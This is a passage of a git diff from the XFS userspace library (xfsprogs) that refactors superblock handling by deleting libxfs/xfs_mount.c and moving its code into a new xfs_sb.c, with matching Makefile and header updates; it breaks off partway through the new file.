xfs_perag *xfs_perag_get_tag(struct xfs_mount *, xfs_agnumber_t, + int tag); +extern void xfs_perag_put(struct xfs_perag *pag); +extern int xfs_initialize_perag_data(struct xfs_mount *, xfs_agnumber_t); + +extern void xfs_sb_calc_crc(struct xfs_buf *); +extern void xfs_mod_sb(struct xfs_trans *, __int64_t); +extern void xfs_sb_mount_common(struct xfs_mount *, struct xfs_sb *); +extern void xfs_sb_from_disk(struct xfs_sb *, struct xfs_dsb *); +extern void xfs_sb_to_disk(struct xfs_dsb *, struct xfs_sb *, __int64_t); +extern void xfs_sb_quota_from_disk(struct xfs_sb *sbp); + +extern const struct xfs_buf_ops xfs_sb_buf_ops; +extern const struct xfs_buf_ops xfs_sb_quiet_buf_ops; + #endif /* __XFS_SB_H__ */ diff --git a/include/xfs_trace.h b/include/xfs_trace.h index 5f32097..1d2728e 100644 --- a/include/xfs_trace.h +++ b/include/xfs_trace.h @@ -162,6 +162,7 @@ /* set c = c to avoid unused var warnings */ #define trace_xfs_perag_get(a,b,c,d) ((c) = (c)) +#define trace_xfs_perag_get_tag(a,b,c,d) ((c) = (c)) #define trace_xfs_perag_put(a,b,c,d) ((c) = (c)) #endif /* __TRACE_H__ */ diff --git a/libxfs/Makefile b/libxfs/Makefile index 6ba38f9..5608020 100644 --- a/libxfs/Makefile +++ b/libxfs/Makefile @@ -11,9 +11,13 @@ LT_REVISION = 0 LT_AGE = 0 HFILES = xfs.h init.h xfs_dir2_priv.h crc32defs.h crc32table.h -CFILES = cache.c init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ +CFILES = cache.c \ + crc32.c \ + init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ xfs_alloc.c \ xfs_alloc_btree.c \ + xfs_attr.c \ + xfs_attr_remote.c \ xfs_btree.c \ xfs_ialloc.c \ xfs_inode_buf.c \ @@ -21,8 +25,8 @@ CFILES = cache.c init.c kmem.c logitem.c radix-tree.c rdwr.c trans.c util.c \ xfs_ialloc_btree.c xfs_bmap_btree.c xfs_da_btree.c \ xfs_dir2.c xfs_dir2_leaf.c xfs_attr_leaf.c xfs_dir2_block.c \ xfs_dir2_node.c xfs_dir2_data.c xfs_dir2_sf.c xfs_bmap.c \ - xfs_mount.c xfs_rtalloc.c xfs_attr.c xfs_attr_remote.c \ - crc32.c \ + xfs_rtalloc.c \ + xfs_sb.c \ xfs_symlink_remote.c \ xfs_trans_resv.c diff --git a/libxfs/init.c b/libxfs/init.c index 5c418bc..db7eeea 100644 --- a/libxfs/init.c +++ b/libxfs/init.c @@ -692,7 +692,7 @@ libxfs_mount( INIT_RADIX_TREE(&mp->m_perag_tree, GFP_KERNEL); sbp = &(mp->m_sb); - xfs_mount_common(mp, sb); + xfs_sb_mount_common(mp, sb); xfs_alloc_compute_maxlevels(mp); xfs_bmap_compute_maxlevels(mp, XFS_DATA_FORK); diff --git a/libxfs/xfs.h b/libxfs/xfs.h index 1a01c61..0113b50 100644 --- a/libxfs/xfs.h +++ b/libxfs/xfs.h @@ -345,6 +345,7 @@ do { \ #define uuid_equal(s,d) (platform_uuid_compare((s),(d)) == 0) #define xfs_icreate_log(tp, agno, agbno, cnt, isize, len, gen) ((void) 0) +#define xfs_sb_validate_fsb_count(sbp, nblks) (0) /* * Prototypes for kernel static functions that are aren't in their diff --git a/libxfs/xfs_mount.c b/libxfs/xfs_mount.c deleted file mode 100644 index 8b267bc..0000000 --- a/libxfs/xfs_mount.c +++ /dev/null @@ -1,721 +0,0 @@ -/* - * Copyright (c) 2000-2005 Silicon Graphics, Inc. - * All Rights Reserved. - * - * This program is free software; you can redistribute it and/or - * modify it under the terms of the GNU General Public License as - * published by the Free Software Foundation. - * - * This program is distributed in the hope that it would be useful, - * but WITHOUT ANY WARRANTY; without even the implied warranty of - * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the - * GNU General Public License for more details. - * - * You should have received a copy of the GNU General Public License - * along with this program; if not, write the Free Software Foundation, - * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA - */ - -#include - -static const struct { - short offset; - short type; /* 0 = integer - * 1 = binary / string (no translation) - */ -} xfs_sb_info[] = { - { offsetof(xfs_sb_t, sb_magicnum), 0 }, - { offsetof(xfs_sb_t, sb_blocksize), 0 }, - { offsetof(xfs_sb_t, sb_dblocks), 0 }, - { offsetof(xfs_sb_t, sb_rblocks), 0 }, - { offsetof(xfs_sb_t, sb_rextents), 0 }, - { offsetof(xfs_sb_t, sb_uuid), 1 }, - { offsetof(xfs_sb_t, sb_logstart), 0 }, - { offsetof(xfs_sb_t, sb_rootino), 0 }, - { offsetof(xfs_sb_t, sb_rbmino), 0 }, - { offsetof(xfs_sb_t, sb_rsumino), 0 }, - { offsetof(xfs_sb_t, sb_rextsize), 0 }, - { offsetof(xfs_sb_t, sb_agblocks), 0 }, - { offsetof(xfs_sb_t, sb_agcount), 0 }, - { offsetof(xfs_sb_t, sb_rbmblocks), 0 }, - { offsetof(xfs_sb_t, sb_logblocks), 0 }, - { offsetof(xfs_sb_t, sb_versionnum), 0 }, - { offsetof(xfs_sb_t, sb_sectsize), 0 }, - { offsetof(xfs_sb_t, sb_inodesize), 0 }, - { offsetof(xfs_sb_t, sb_inopblock), 0 }, - { offsetof(xfs_sb_t, sb_fname[0]), 1 }, - { offsetof(xfs_sb_t, sb_blocklog), 0 }, - { offsetof(xfs_sb_t, sb_sectlog), 0 }, - { offsetof(xfs_sb_t, sb_inodelog), 0 }, - { offsetof(xfs_sb_t, sb_inopblog), 0 }, - { offsetof(xfs_sb_t, sb_agblklog), 0 }, - { offsetof(xfs_sb_t, sb_rextslog), 0 }, - { offsetof(xfs_sb_t, sb_inprogress), 0 }, - { offsetof(xfs_sb_t, sb_imax_pct), 0 }, - { offsetof(xfs_sb_t, sb_icount), 0 }, - { offsetof(xfs_sb_t, sb_ifree), 0 }, - { offsetof(xfs_sb_t, sb_fdblocks), 0 }, - { offsetof(xfs_sb_t, sb_frextents), 0 }, - { offsetof(xfs_sb_t, sb_uquotino), 0 }, - { offsetof(xfs_sb_t, sb_gquotino), 0 }, - { offsetof(xfs_sb_t, sb_qflags), 0 }, - { offsetof(xfs_sb_t, sb_flags), 0 }, - { offsetof(xfs_sb_t, sb_shared_vn), 0 }, - { offsetof(xfs_sb_t, sb_inoalignmt), 0 }, - { offsetof(xfs_sb_t, sb_unit), 0 }, - { offsetof(xfs_sb_t, sb_width), 0 }, - { offsetof(xfs_sb_t, sb_dirblklog), 0 }, - { offsetof(xfs_sb_t, sb_logsectlog), 0 }, - { offsetof(xfs_sb_t, sb_logsectsize),0 }, - { offsetof(xfs_sb_t, sb_logsunit), 0 }, - { offsetof(xfs_sb_t, sb_features2), 0 }, - { offsetof(xfs_sb_t, sb_bad_features2), 0 }, - { offsetof(xfs_sb_t, sb_features_compat), 0 }, - { offsetof(xfs_sb_t, sb_features_ro_compat), 0 }, - { offsetof(xfs_sb_t, sb_features_incompat), 0 }, - { offsetof(xfs_sb_t, sb_features_log_incompat), 0 }, - { offsetof(xfs_sb_t, sb_crc), 0 }, - { offsetof(xfs_sb_t, sb_pad), 0 }, - { offsetof(xfs_sb_t, sb_pquotino), 0 }, - { offsetof(xfs_sb_t, sb_lsn), 0 }, - { sizeof(xfs_sb_t), 0 } -}; - -/* - * Reference counting access wrappers to the perag structures. - * Because we never free per-ag structures, the only thing we - * have to protect against changes is the tree structure itself. - */ -struct xfs_perag * -xfs_perag_get(struct xfs_mount *mp, xfs_agnumber_t agno) -{ - struct xfs_perag *pag; - int ref = 0; - - rcu_read_lock(); - pag = radix_tree_lookup(&mp->m_perag_tree, agno); - if (pag) { - ASSERT(atomic_read(&pag->pag_ref) >= 0); - ref = atomic_inc_return(&pag->pag_ref); - } - rcu_read_unlock(); - trace_xfs_perag_get(mp, agno, ref, _RET_IP_); - return pag; -} - -void -xfs_perag_put(struct xfs_perag *pag) -{ - int ref; - - ASSERT(atomic_read(&pag->pag_ref) > 0); - ref = atomic_dec_return(&pag->pag_ref); - trace_xfs_perag_put(pag->pag_mount, pag->pag_agno, ref, _RET_IP_); -} - -/* - * Check the validity of the SB found. - */ -STATIC int -xfs_mount_validate_sb( - xfs_mount_t *mp, - xfs_sb_t *sbp, - bool check_inprogress, - bool check_version) -{ - - /* - * If the log device and data device have the - * same device number, the log is internal. - * Consequently, the sb_logstart should be non-zero. If - * we have a zero sb_logstart in this case, we may be trying to mount - * a volume filesystem in a non-volume manner. - */ - if (sbp->sb_magicnum != XFS_SB_MAGIC) { - xfs_warn(mp, "bad magic number"); - return XFS_ERROR(EWRONGFS); - } - - - if (!xfs_sb_good_version(sbp)) { - xfs_warn(mp, "bad version"); - return XFS_ERROR(EWRONGFS); - } - - /* - * Version 5 superblock feature mask validation. Reject combinations the - * kernel cannot support up front before checking anything else. - */ - if (check_version && XFS_SB_VERSION_NUM(sbp) == XFS_SB_VERSION_5) { - xfs_alert(mp, -"Version 5 superblock detected. xfsprogs has EXPERIMENTAL support enabled!\n" -"Use of these features is at your own risk!"); - - if (xfs_sb_has_compat_feature(sbp, - XFS_SB_FEAT_COMPAT_UNKNOWN)) { - xfs_warn(mp, -"Superblock has unknown compatible features (0x%x) enabled.\n" -"Using a more recent xfsprogs is recommended.", - (sbp->sb_features_compat & - XFS_SB_FEAT_COMPAT_UNKNOWN)); - } - - if (xfs_sb_has_ro_compat_feature(sbp, - XFS_SB_FEAT_RO_COMPAT_UNKNOWN)) { - xfs_warn(mp, -"Superblock has unknown read-only compatible features (0x%x) enabled.\n" -"Using a more recent xfsprogs is recommended.", - (sbp->sb_features_ro_compat & - XFS_SB_FEAT_RO_COMPAT_UNKNOWN)); - } - if (xfs_sb_has_incompat_feature(sbp, - XFS_SB_FEAT_INCOMPAT_UNKNOWN)) { - xfs_warn(mp, -"Superblock has unknown incompatible features (0x%x) enabled.\n" -"Filesystem can not be safely operated on by this xfsprogs installation", - (sbp->sb_features_incompat & - XFS_SB_FEAT_INCOMPAT_UNKNOWN)); - return XFS_ERROR(EINVAL); - } - } - - if ((sbp->sb_qflags & (XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD)) && - (sbp->sb_qflags & (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD | - XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD))) { - xfs_warn(mp, -"Super block has XFS_OQUOTA bits along with XFS_PQUOTA and/or XFS_GQUOTA bits.\n"); - return XFS_ERROR(EFSCORRUPTED); - } - - if (unlikely( - sbp->sb_logstart == 0 && mp->m_logdev_targp == mp->m_ddev_targp)) { - xfs_warn(mp, - "filesystem is marked as having an external log; " - "specify logdev on the mount command line."); - return XFS_ERROR(EINVAL); - } - - if (unlikely( - sbp->sb_logstart != 0 && mp->m_logdev_targp != mp->m_ddev_targp)) { - xfs_warn(mp, - "filesystem is marked as having an internal log; " - "do not specify logdev on the mount command line."); - return XFS_ERROR(EINVAL); - } - - /* - * More sanity checking. Most of these were stolen directly from - * xfs_repair. - */ - if (unlikely( - sbp->sb_agcount <= 0 || - sbp->sb_sectsize < XFS_MIN_SECTORSIZE || - sbp->sb_sectsize > XFS_MAX_SECTORSIZE || - sbp->sb_sectlog < XFS_MIN_SECTORSIZE_LOG || - sbp->sb_sectlog > XFS_MAX_SECTORSIZE_LOG || - sbp->sb_sectsize != (1 << sbp->sb_sectlog) || - sbp->sb_blocksize < XFS_MIN_BLOCKSIZE || - sbp->sb_blocksize > XFS_MAX_BLOCKSIZE || - sbp->sb_blocklog < XFS_MIN_BLOCKSIZE_LOG || - sbp->sb_blocklog > XFS_MAX_BLOCKSIZE_LOG || - sbp->sb_blocksize != (1 << sbp->sb_blocklog) || - sbp->sb_inodesize < XFS_DINODE_MIN_SIZE || - sbp->sb_inodesize > XFS_DINODE_MAX_SIZE || - sbp->sb_inodelog < XFS_DINODE_MIN_LOG || - sbp->sb_inodelog > XFS_DINODE_MAX_LOG || - sbp->sb_inodesize != (1 << sbp->sb_inodelog) || - (sbp->sb_blocklog - sbp->sb_inodelog != sbp->sb_inopblog) || - (sbp->sb_rextsize * sbp->sb_blocksize > XFS_MAX_RTEXTSIZE) || - (sbp->sb_rextsize * sbp->sb_blocksize < XFS_MIN_RTEXTSIZE) || - (sbp->sb_imax_pct > 100 /* zero sb_imax_pct is valid */) || - sbp->sb_dblocks == 0 || - sbp->sb_dblocks > XFS_MAX_DBLOCKS(sbp) || - sbp->sb_dblocks < XFS_MIN_DBLOCKS(sbp))) { - XFS_CORRUPTION_ERROR("SB sanity check failed", - XFS_ERRLEVEL_LOW, mp, sbp); - return XFS_ERROR(EFSCORRUPTED); - } - - /* - * Currently only very few inode sizes are supported. - */ - switch (sbp->sb_inodesize) { - case 256: - case 512: - case 1024: - case 2048: - break; - default: - xfs_warn(mp, "inode size of %d bytes not supported", - sbp->sb_inodesize); - return XFS_ERROR(ENOSYS); - } - - /* - * Version 1 directory format has never worked on Linux. - */ - if (unlikely(!xfs_sb_version_hasdirv2(sbp))) { - xfs_warn(mp, "file system using version 1 directory format"); - return XFS_ERROR(ENOSYS); - } - - return 0; -} - -void -xfs_sb_from_disk( - xfs_sb_t *to, - xfs_dsb_t *from) -{ - to->sb_magicnum = be32_to_cpu(from->sb_magicnum); - to->sb_blocksize = be32_to_cpu(from->sb_blocksize); - to->sb_dblocks = be64_to_cpu(from->sb_dblocks); - to->sb_rblocks = be64_to_cpu(from->sb_rblocks); - to->sb_rextents = be64_to_cpu(from->sb_rextents); - memcpy(&to->sb_uuid, &from->sb_uuid, sizeof(to->sb_uuid)); - to->sb_logstart = be64_to_cpu(from->sb_logstart); - to->sb_rootino = be64_to_cpu(from->sb_rootino); - to->sb_rbmino = be64_to_cpu(from->sb_rbmino); - to->sb_rsumino = be64_to_cpu(from->sb_rsumino); - to->sb_rextsize = be32_to_cpu(from->sb_rextsize); - to->sb_agblocks = be32_to_cpu(from->sb_agblocks); - to->sb_agcount = be32_to_cpu(from->sb_agcount); - to->sb_rbmblocks = be32_to_cpu(from->sb_rbmblocks); - to->sb_logblocks = be32_to_cpu(from->sb_logblocks); - to->sb_versionnum = be16_to_cpu(from->sb_versionnum); - to->sb_sectsize = be16_to_cpu(from->sb_sectsize); - to->sb_inodesize = be16_to_cpu(from->sb_inodesize); - to->sb_inopblock = be16_to_cpu(from->sb_inopblock); - memcpy(&to->sb_fname, &from->sb_fname, sizeof(to->sb_fname)); - to->sb_blocklog = from->sb_blocklog; - to->sb_sectlog = from->sb_sectlog; - to->sb_inodelog = from->sb_inodelog; - to->sb_inopblog = from->sb_inopblog; - to->sb_agblklog = from->sb_agblklog; - to->sb_rextslog = from->sb_rextslog; - to->sb_inprogress = from->sb_inprogress; - to->sb_imax_pct = from->sb_imax_pct; - to->sb_icount = be64_to_cpu(from->sb_icount); - to->sb_ifree = be64_to_cpu(from->sb_ifree); - to->sb_fdblocks = be64_to_cpu(from->sb_fdblocks); - to->sb_frextents = be64_to_cpu(from->sb_frextents); - to->sb_uquotino = be64_to_cpu(from->sb_uquotino); - to->sb_gquotino = be64_to_cpu(from->sb_gquotino); - to->sb_qflags = be16_to_cpu(from->sb_qflags); - to->sb_flags = from->sb_flags; - to->sb_shared_vn = from->sb_shared_vn; - to->sb_inoalignmt = be32_to_cpu(from->sb_inoalignmt); - to->sb_unit = be32_to_cpu(from->sb_unit); - to->sb_width = be32_to_cpu(from->sb_width); - to->sb_dirblklog = from->sb_dirblklog; - to->sb_logsectlog = from->sb_logsectlog; - to->sb_logsectsize = be16_to_cpu(from->sb_logsectsize); - to->sb_logsunit = be32_to_cpu(from->sb_logsunit); - to->sb_features2 = be32_to_cpu(from->sb_features2); - to->sb_bad_features2 = be32_to_cpu(from->sb_bad_features2); - to->sb_features_compat = be32_to_cpu(from->sb_features_compat); - to->sb_features_ro_compat = be32_to_cpu(from->sb_features_ro_compat); - to->sb_features_incompat = be32_to_cpu(from->sb_features_incompat); - to->sb_features_log_incompat = - be32_to_cpu(from->sb_features_log_incompat); - to->sb_pad = 0; - to->sb_pquotino = be64_to_cpu(from->sb_pquotino); - to->sb_lsn = be64_to_cpu(from->sb_lsn); -} - -static void -xfs_sb_quota_from_disk(struct xfs_sb *sbp) -{ - /* - * We need to do these manipilations only if we are working - * with an older version of on-disk superblock. - */ - if (xfs_sb_version_has_pquotino(sbp)) - return; - - if (sbp->sb_qflags & XFS_OQUOTA_ENFD) - sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? - XFS_PQUOTA_ENFD : XFS_GQUOTA_ENFD; - if (sbp->sb_qflags & XFS_OQUOTA_CHKD) - sbp->sb_qflags |= (sbp->sb_qflags & XFS_PQUOTA_ACCT) ? - XFS_PQUOTA_CHKD : XFS_GQUOTA_CHKD; - sbp->sb_qflags &= ~(XFS_OQUOTA_ENFD | XFS_OQUOTA_CHKD); - - if (sbp->sb_qflags & XFS_PQUOTA_ACCT) { - /* - * In older version of superblock, on-disk superblock only - * has sb_gquotino, and in-core superblock has both sb_gquotino - * and sb_pquotino. But, only one of them is supported at any - * point of time. So, if PQUOTA is set in disk superblock, - * copy over sb_gquotino to sb_pquotino. - */ - sbp->sb_pquotino = sbp->sb_gquotino; - sbp->sb_gquotino = NULLFSINO; - } -} - -static inline void -xfs_sb_quota_to_disk( - xfs_dsb_t *to, - xfs_sb_t *from, - __int64_t *fields) -{ - __uint16_t qflags = from->sb_qflags; - - /* - * We need to do these manipilations only if we are working - * with an older version of on-disk superblock. - */ - if (xfs_sb_version_has_pquotino(from)) - return; - - if (*fields & XFS_SB_QFLAGS) { - /* - * The in-core version of sb_qflags do not have - * XFS_OQUOTA_* flags, whereas the on-disk version - * does. So, convert incore XFS_{PG}QUOTA_* flags - * to on-disk XFS_OQUOTA_* flags. - */ - qflags &= ~(XFS_PQUOTA_ENFD | XFS_PQUOTA_CHKD | - XFS_GQUOTA_ENFD | XFS_GQUOTA_CHKD); - - if (from->sb_qflags & - (XFS_PQUOTA_ENFD | XFS_GQUOTA_ENFD)) - qflags |= XFS_OQUOTA_ENFD; - if (from->sb_qflags & - (XFS_PQUOTA_CHKD | XFS_GQUOTA_CHKD)) - qflags |= XFS_OQUOTA_CHKD; - to->sb_qflags = cpu_to_be16(qflags); - *fields &= ~XFS_SB_QFLAGS; - } - - /* - * GQUOTINO and PQUOTINO cannot be used together in versions - * of superblock that do not have pquotino. from->sb_flags - * tells us which quota is active and should be copied to - * disk. - */ - if ((*fields & XFS_SB_GQUOTINO) && - (from->sb_qflags & XFS_GQUOTA_ACCT)) - to->sb_gquotino = cpu_to_be64(from->sb_gquotino); - else if ((*fields & XFS_SB_PQUOTINO) && - (from->sb_qflags & XFS_PQUOTA_ACCT)) - to->sb_gquotino = cpu_to_be64(from->sb_pquotino); - - *fields &= ~(XFS_SB_PQUOTINO | XFS_SB_GQUOTINO); -} - -/* - * Copy in core superblock to ondisk one. - * - * The fields argument is mask of superblock fields to copy. - */ -void -xfs_sb_to_disk( - xfs_dsb_t *to, - xfs_sb_t *from, - __int64_t fields) -{ - xfs_caddr_t to_ptr = (xfs_caddr_t)to; - xfs_caddr_t from_ptr = (xfs_caddr_t)from; - xfs_sb_field_t f; - int first; - int size; - - ASSERT(fields); - if (!fields) - return; - - xfs_sb_quota_to_disk(to, from, &fields); - - while (fields) { - f = (xfs_sb_field_t)xfs_lowbit64((__uint64_t)fields); - first = xfs_sb_info[f].offset; - size = xfs_sb_info[f + 1].offset - first; - - ASSERT(xfs_sb_info[f].type == 0 || xfs_sb_info[f].type == 1); - - if (size == 1 || xfs_sb_info[f].type == 1) { - memcpy(to_ptr + first, from_ptr + first, size); - } else { - switch (size) { - case 2: - *(__be16 *)(to_ptr + first) = - cpu_to_be16(*(__u16 *)(from_ptr + first)); - break; - case 4: - *(__be32 *)(to_ptr + first) = - cpu_to_be32(*(__u32 *)(from_ptr + first)); - break; - case 8: - *(__be64 *)(to_ptr + first) = - cpu_to_be64(*(__u64 *)(from_ptr + first)); - break; - default: - ASSERT(0); - } - } - - fields &= ~(1LL << f); - } -} - -static int -xfs_sb_verify( - struct xfs_buf *bp, - bool check_version) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - struct xfs_sb sb; - - xfs_sb_from_disk(&sb, XFS_BUF_TO_SBP(bp)); - - xfs_sb_quota_from_disk(&sb); - - /* - * Only check the in progress field for the primary superblock as - * mkfs.xfs doesn't clear it from secondary superblocks. - */ - return xfs_mount_validate_sb(mp, &sb, bp->b_bn == XFS_SB_DADDR, - check_version); -} - -/* - * If the superblock has the CRC feature bit set or the CRC field is non-null, - * check that the CRC is valid. We check the CRC field is non-null because a - * single bit error could clear the feature bit and unused parts of the - * superblock are supposed to be zero. Hence a non-null crc field indicates that - * we've potentially lost a feature bit and we should check it anyway. - */ -static void -xfs_sb_read_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - struct xfs_dsb *dsb = XFS_BUF_TO_SBP(bp); - int error; - - /* - * open code the version check to avoid needing to convert the entire - * superblock from disk order just to check the version number - */ - if (dsb->sb_magicnum == cpu_to_be32(XFS_SB_MAGIC) && - (((be16_to_cpu(dsb->sb_versionnum) & XFS_SB_VERSION_NUMBITS) == - XFS_SB_VERSION_5) || - dsb->sb_crc != 0)) { - - if (!xfs_verify_cksum(bp->b_addr, be16_to_cpu(dsb->sb_sectsize), - offsetof(struct xfs_sb, sb_crc))) { - error = EFSCORRUPTED; - goto out_error; - } - } - error = xfs_sb_verify(bp, true); - -out_error: - if (error) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, error); - } -} - -/* - * We may be probed for a filesystem match, so we may not want to emit - * messages when the superblock buffer is not actually an XFS superblock. - * If we find an XFS superblock, the run a normal, noisy mount because we are - * really going to mount it and want to know about errors. - */ -static void -xfs_sb_quiet_read_verify( - struct xfs_buf *bp) -{ - struct xfs_dsb *dsb = XFS_BUF_TO_SBP(bp); - - - if (dsb->sb_magicnum == cpu_to_be32(XFS_SB_MAGIC)) { - /* XFS filesystem, verify noisily! */ - xfs_sb_read_verify(bp); - return; - } - /* quietly fail */ - xfs_buf_ioerror(bp, EWRONGFS); -} - -static void -xfs_sb_write_verify( - struct xfs_buf *bp) -{ - struct xfs_mount *mp = bp->b_target->bt_mount; - struct xfs_buf_log_item *bip = bp->b_fspriv; - int error; - - error = xfs_sb_verify(bp, false); - if (error) { - XFS_CORRUPTION_ERROR(__func__, XFS_ERRLEVEL_LOW, mp, bp->b_addr); - xfs_buf_ioerror(bp, error); - return; - } - - if (!xfs_sb_version_hascrc(&mp->m_sb)) - return; - - if (bip) - XFS_BUF_TO_SBP(bp)->sb_lsn = cpu_to_be64(bip->bli_item.li_lsn); - - xfs_update_cksum(bp->b_addr, BBTOB(bp->b_length), - offsetof(struct xfs_sb, sb_crc)); -} - -const struct xfs_buf_ops xfs_sb_buf_ops = { - .verify_read = xfs_sb_read_verify, - .verify_write = xfs_sb_write_verify, -}; - -static const struct xfs_buf_ops xfs_sb_quiet_buf_ops = { - .verify_read = xfs_sb_quiet_read_verify, - .verify_write = xfs_sb_write_verify, -}; - -/* - * xfs_mount_common - * - * Mount initialization code establishing various mount - * fields from the superblock associated with the given - * mount structure - * - * Note: this requires user-space public scope for libxfs_mount - */ -void -xfs_mount_common(xfs_mount_t *mp, xfs_sb_t *sbp) -{ - mp->m_agfrotor = mp->m_agirotor = 0; - spin_lock_init(&mp->m_agirotor_lock); - mp->m_maxagi = mp->m_sb.sb_agcount; - mp->m_blkbit_log = sbp->sb_blocklog + XFS_NBBYLOG; - mp->m_blkbb_log = sbp->sb_blocklog - BBSHIFT; - mp->m_sectbb_log = sbp->sb_sectlog - BBSHIFT; - mp->m_agno_log = xfs_highbit32(sbp->sb_agcount - 1) + 1; - mp->m_agino_log = sbp->sb_inopblog + sbp->sb_agblklog; - mp->m_blockmask = sbp->sb_blocksize - 1; - mp->m_blockwsize = sbp->sb_blocksize >> XFS_WORDLOG; - mp->m_blockwmask = mp->m_blockwsize - 1; - - mp->m_alloc_mxr[0] = xfs_allocbt_maxrecs(mp, sbp->sb_blocksize, 1); - mp->m_alloc_mxr[1] = xfs_allocbt_maxrecs(mp, sbp->sb_blocksize, 0); - mp->m_alloc_mnr[0] = mp->m_alloc_mxr[0] / 2; - mp->m_alloc_mnr[1] = mp->m_alloc_mxr[1] / 2; - - mp->m_inobt_mxr[0] = xfs_inobt_maxrecs(mp, sbp->sb_blocksize, 1); - mp->m_inobt_mxr[1] = xfs_inobt_maxrecs(mp, sbp->sb_blocksize, 0); - mp->m_inobt_mnr[0] = mp->m_inobt_mxr[0] / 2; - mp->m_inobt_mnr[1] = mp->m_inobt_mxr[1] / 2; - - mp->m_bmap_dmxr[0] = xfs_bmbt_maxrecs(mp, sbp->sb_blocksize, 1); - mp->m_bmap_dmxr[1] = xfs_bmbt_maxrecs(mp, sbp->sb_blocksize, 0); - mp->m_bmap_dmnr[0] = mp->m_bmap_dmxr[0] / 2; - mp->m_bmap_dmnr[1] = mp->m_bmap_dmxr[1] / 2; - - mp->m_bsize = XFS_FSB_TO_BB(mp, 1); - mp->m_ialloc_inos = (int)MAX((__uint16_t)XFS_INODES_PER_CHUNK, - sbp->sb_inopblock); - mp->m_ialloc_blks = mp->m_ialloc_inos >> sbp->sb_inopblog; -} - -/* - * xfs_initialize_perag_data - * - * Read in each per-ag structure so we can count up the number of - * allocated inodes, free inodes and used filesystem blocks as this - * information is no longer persistent in the superblock. Once we have - * this information, write it into the in-core superblock structure. - * - * Note: this requires user-space public scope for libxfs_mount - */ -int -xfs_initialize_perag_data(xfs_mount_t *mp, xfs_agnumber_t agcount) -{ - xfs_agnumber_t index; - xfs_perag_t *pag; - xfs_sb_t *sbp = &mp->m_sb; - uint64_t ifree = 0; - uint64_t ialloc = 0; - uint64_t bfree = 0; - uint64_t bfreelst = 0; - uint64_t btree = 0; - int error; - - for (index = 0; index < agcount; index++) { - /* - * read the agf, then the agi. This gets us - * all the information we need and populates the - * per-ag structures for us. - */ - error = xfs_alloc_pagf_init(mp, NULL, index, 0); - if (error) - return error; - - error = xfs_ialloc_pagi_init(mp, NULL, index); - if (error) - return error; - pag = xfs_perag_get(mp, index); - ifree += pag->pagi_freecount; - ialloc += pag->pagi_count; - bfree += pag->pagf_freeblks; - bfreelst += pag->pagf_flcount; - btree += pag->pagf_btreeblks; - xfs_perag_put(pag); - } - /* - * Overwrite incore superblock counters with just-read data - */ - spin_lock(&mp->m_sb_lock); - sbp->sb_ifree = ifree; - sbp->sb_icount = ialloc; - sbp->sb_fdblocks = bfree + bfreelst + btree; - spin_unlock(&mp->m_sb_lock); - - /* Fixup the per-cpu counters as well. */ - xfs_icsb_reinit_counters(mp); - - return 0; -} - -/* - * xfs_mod_sb() can be used to copy arbitrary changes to the - * in-core superblock into the superblock buffer to be logged. - * It does not provide the higher level of locking that is - * needed to protect the in-core superblock from concurrent - * access. - */ -void -xfs_mod_sb(xfs_trans_t *tp, __int64_t fields) -{ - xfs_buf_t *bp; - int first; - int last; - xfs_mount_t *mp; - xfs_sb_field_t f; - - ASSERT(fields); - if (!fields) - return; - mp = tp->t_mountp; - bp = xfs_trans_getsb(tp, mp, 0); - first = sizeof(xfs_sb_t); - last = 0; - - /* translate/copy */ - xfs_sb_to_disk(XFS_BUF_TO_SBP(bp), &mp->m_sb, fields); - - /* find modified range */ - f = (xfs_sb_field_t)xfs_highbit64((__uint64_t)fields); - ASSERT((1LL << f) & XFS_SB_MOD_BITS); - last = xfs_sb_info[f + 1].offset - 1; - - f = (xfs_sb_field_t)xfs_lowbit64((__uint64_t)fields); - ASSERT((1LL << f) & XFS_SB_MOD_BITS); - first = xfs_sb_info[f].offset; - - xfs_trans_buf_set_type(tp, bp, XFS_BLFT_SB_BUF); - xfs_trans_log_buf(tp, bp, first, last); -} diff --git a/libxfs/xfs_sb.c b/libxfs/xfs_sb.c new file mode 100644 index 0000000..ff0bc59 --- /dev/null +++ b/libxfs/xfs_sb.c @@ -0,0 +1,771 @@ +/* + * Copyright (c) 2000-2005 Silicon Graphics, Inc. + * All Rights Reserved. + * + * This program is free software; you can redistribute it and/or + * modify it under the terms of the GNU General Public License as + * published by the Free Software Foundation. + * + * This program is distributed in the hope that it would be useful, + * but WITHOUT ANY WARRANTY; without even the implied warranty of + * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the + * GNU General Public License for more details. + * + * You should have received a copy of the GNU General Public License + * along with this program; if not, write the Free Software Foundation, + * Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA + */ +#include + +/* + * Physical superblock buffer manipulations. Shared with libxfs in userspace. + */ + +static const struct { + short offset; + short type; /* 0 = integer + * 1 = binary / string (no translation) + */ +} xfs_sb_info[] = { + { offsetof(xfs_sb_t, sb_magicnum), 0 }, + { offsetof(xfs_sb_t, sb_blocksize), 0 }, + { offsetof(xfs_sb_t, sb_dblocks), 0 }, + { offsetof(xfs_sb_t, sb_rblocks), 0 }, + { offsetof(xfs_sb_t, sb_rextents), 0 }, + { offsetof(xfs_sb_t, sb_uuid), 1 }, + { offsetof(xfs_sb_t, sb_logstart), 0 }, + { offsetof(xfs_sb_t, sb_rootino), 0 }, + { offsetof(xfs_sb_t, sb_rbmino), 0 }, + { offsetof(xfs_sb_t, sb_rsumino), 0 }, + { offsetof(xfs_sb_t, sb_rextsize), 0 }, + { offsetof(xfs_sb_t, sb_agblocks), 0 }, + { offsetof(xfs_sb_t, sb_agcount), 0 }, + { offsetof(xfs_sb_t, sb_rbmblocks), 0 }, + { offsetof(xfs_sb_t, sb_logblocks), 0 }, + { 